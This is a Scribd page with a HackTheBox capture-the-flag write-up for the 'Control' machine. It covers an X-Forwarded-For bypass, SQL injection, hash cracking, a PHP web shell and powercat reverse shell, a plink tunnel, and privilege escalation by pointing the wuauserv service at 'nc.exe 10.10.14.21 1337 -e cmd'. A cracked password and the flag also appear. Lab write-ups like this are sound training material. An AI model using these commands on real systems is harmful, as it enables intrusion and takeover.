Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
Scribd Logo
Upload

Welcome to Scribd!

  • 219 views

    Control - 10.10.10.167: Enumeration

    Uploaded by

    Jean Pierre
    The document summarizes the steps taken to exploit a vulnerable machine on HackTheBox. It describes: 1. Enumeration found ports 80, 135, and 3306 open, and HTTP headers could bypass protections on the admin panel. 2. SQL injection on the admin panel helped extract hashes and the password for user "Hector". 3. A web shell was used to get an initial foothold, then credentials for Hector allowed moving laterally to gain his privileges. 4. Further privilege escalation was possible by modifying service permissions that Hector had full control over to execute a reverse shell as the Administrator user.

    Copyright:

    © All Rights Reserved
    Download as PDF, TXT or read online from Scribd

    Control - 10.10.10.167: Enumeration

    Uploaded by

    Jean Pierre
    219 views7 pages
    The document summarizes the steps taken to exploit a vulnerable machine on HackTheBox. It describes: 1. Enumeration found ports 80, 135, and 3306 open, and HTTP headers could bypass protections on the admin panel. 2. SQL injection on the admin panel helped extract hashes and the password for user "Hector". 3. A web shell was used to get an initial foothold, then credentials for Hector allowed moving laterally to gain his privileges. 4. Further privilege escalation was possible by modifying service permissions that Hector had full control over to execute a reverse shell as the Administrator user.

    Original Title

    control

    Copyright

    © © All Rights Reserved

    Available Formats

    PDF, TXT or read online from Scribd

    Did you find this document useful?

    Is this content inappropriate?

    The document summarizes the steps taken to exploit a vulnerable machine on HackTheBox. It describes: 1. Enumeration found ports 80, 135, and 3306 open, and HTTP headers could bypass protections on the admin panel. 2. SQL injection on the admin panel helped extract hashes and the password for user "Hector". 3. A web shell was used to get an initial foothold, then credentials for Hector allowed moving laterally to gain his privileges. 4. Further privilege escalation was possible by modifying service permissions that Hector had full control over to execute a reverse shell as the Administrator user.

    Copyright:

    © All Rights Reserved
    Download as PDF, TXT or read online from Scribd
    Download as pdf or txt
    219 views7 pages

    Control - 10.10.10.167: Enumeration

    Uploaded by

    Jean Pierre
    The document summarizes the steps taken to exploit a vulnerable machine on HackTheBox. It describes: 1. Enumeration found ports 80, 135, and 3306 open, and HTTP headers could bypass protections on the admin panel. 2. SQL injection on the admin panel helped extract hashes and the password for user "Hector". 3. A web shell was used to get an initial foothold, then credentials for Hector allowed moving laterally to gain his privileges. 4. Further privilege escalation was possible by modifying service permissions that Hector had full control over to execute a reverse shell as the Administrator user.

    Copyright:

    © All Rights Reserved
    Download as PDF, TXT or read online from Scribd
    Download as pdf or txt
    of 7
    At a glance
    Powered by AI
    The attacker was able to enumerate open ports and contents of web pages to discover vulnerabilities. They used tools like wfuzz and sqlmap to automate exploitation of SQL injection and file inclusion vulnerabilities.

    The attacker used wfuzz to find that sending the header X-Forwarded-For with the value 192.168.4.28 allowed access to the admin page by simulating being on the internal network.

    The attacker captured a request to the admin search form and used sqlmap to extract database contents like user hashes from the vulnerable SQL injection.

    Control - 10.10.10.

    167
    by ​SirBroccoli ​(Please give “​respect​” in ​www.hackthebox.eu/home/users/profile/57519​)

    Enumeration
    I used the tool ​legion​ to automate the enumeration process:

    Open ports: ​80 (http)​, 135(msrpc) and 3306(mysql).


    If you try to access the mysql port you will notice that you can’t.

    Investigating the web page you can find 2 interesting things:


    A comment inside the main page​ disclosing an internal IP​:
    And the response of the admin.php page:

    So, it looks like to access the admin.php page we need to simulate that we are using an
    internal proxy by using some HTTP header.
    I know that the common header used by proxies to send the client IP is ​X-Forwarded-For
    but just in case I created a ​list of common HTTP headers​ and a​ list of IPs ​(this list
    contains the local ip “127.0.0.1”, my current IP and all the IPs inside the range
    192.168.4.0/24​) and I executed wfuzz with them.This way I was able to find how to bypass
    the protections:

    Use the header ​X-Forwarded-For​ with the value “​192.168.4.28​”.

    User
    Using that header you will be able to access the admin panel:
    Inside the admin panel you and fins a search form which is terrible vulnerable to SQL
    Injection.
    So I decided to capture a request to the search form and use sqlmap to extract some handy
    information from the database:

    The most interesting part of the information are the hashes:

    Copying and pasting the ​hash of Hector to a file and bruteforcing it using john with
    rockyou​ and you will obtain the password of Hector: ​hector:l33th4x0rhector

    This password is going to be useful in the future, but now we need to convert the SQLI into
    an RCE.

    To do so you can try to use sqlmap, but in all the tries it use to discover a writable folder
    (C:\inetpub\wwwroot\) but somehow it is unable to upload a shell…
    So, you can upload your own shell to that directory. I used but and the following payload to
    write the simplest php reverse shell inside the system:
    And now I can execute code:

    A continuation I prepared a powercat reverse shell and offered it into an HTTP server, I
    create a nc waiting for that powercat reverse shell and used powershell thought the web
    shell to make it all work:

    Reverse captured:

    Ok, we have a shell, but the flag is not accessible by this user. We need to ​move laterally
    to a user called Hector ​(do you remember that we have already extracted Hectors
    password for the mysql service?).
    So, we have the credentials but SMB is not active in the machine (no PSExec, no
    WMICexec…). Anyway, WinRM is active for localhost, you can create a tunnel and access it
    from your machine:
    To create a tunnel in order to access the WinRM port I used the binary plink.exe (use
    locate plink.exe​ in kali to find this binary).
    Upload the binary​ to the machine (using an ​impacket-smbserver​ for example) and
    create the tunnel:
    .\plink.exe -l pepe -pw pepe -R 5985:127.0.0.1:5985 10.10.14.21

    Now, using​ evil-winrm​ and ​Hectors ​credentials I’m able to access the victim as hector and
    grab the user ​flag​:

    Root
    The only hint you can find about how to become administrator is inside the PS history (looks
    like we need to pay special attention to ACLs, and the services configurations are inside that
    registry):

    Becoming administrator is really easy, but because of the ​restriction ​of using several Win
    PE ​enumeration tools ​you have to discover the way by yourself (which makes this more
    difficult).
    Finally, you can find that Hector had ​FullControl ​in several ​services​. You can discover this
    by running this ugly PS-cmd script:
    get-acl HKLM:\System\CurrentControlSet\services\* | Format-List *
    | findstr /i "Hector Users Path"

    Notice that in the last capture ​Hector ​has ​FullControl ​of all the ​services​…

    I’m going to abuse the service wuauserv to execute a nc with administrators privileges:
    1.- Check current IMagePath
    C:\Users\Hector\Documents> Get-ItemProperty
    HKLM:\System\CurrentControlSet\services\wuauserv

    2.- Modify the ImagePath to execute a nc.exe (you need to upload the nc previously)
    C:\Users\Hector\Documents> reg add
    "HKLM\System\CurrentControlSet\services\wuauserv" /t REG_EXPAND_SZ
    /v ImagePath /d "C:\windows\system32\spool\drivers\color\nc.exe
    10.10.14.21 1337 -e cmd" /f

    3.- Start the service (you should set a listener before to capture the reverse-shell)
    Start-Service wuauserv
    Using the administrators shell you can read the root flag:

    root.txt: 8f8613f5b4da391f36ef11def4cec1b1

    You might also like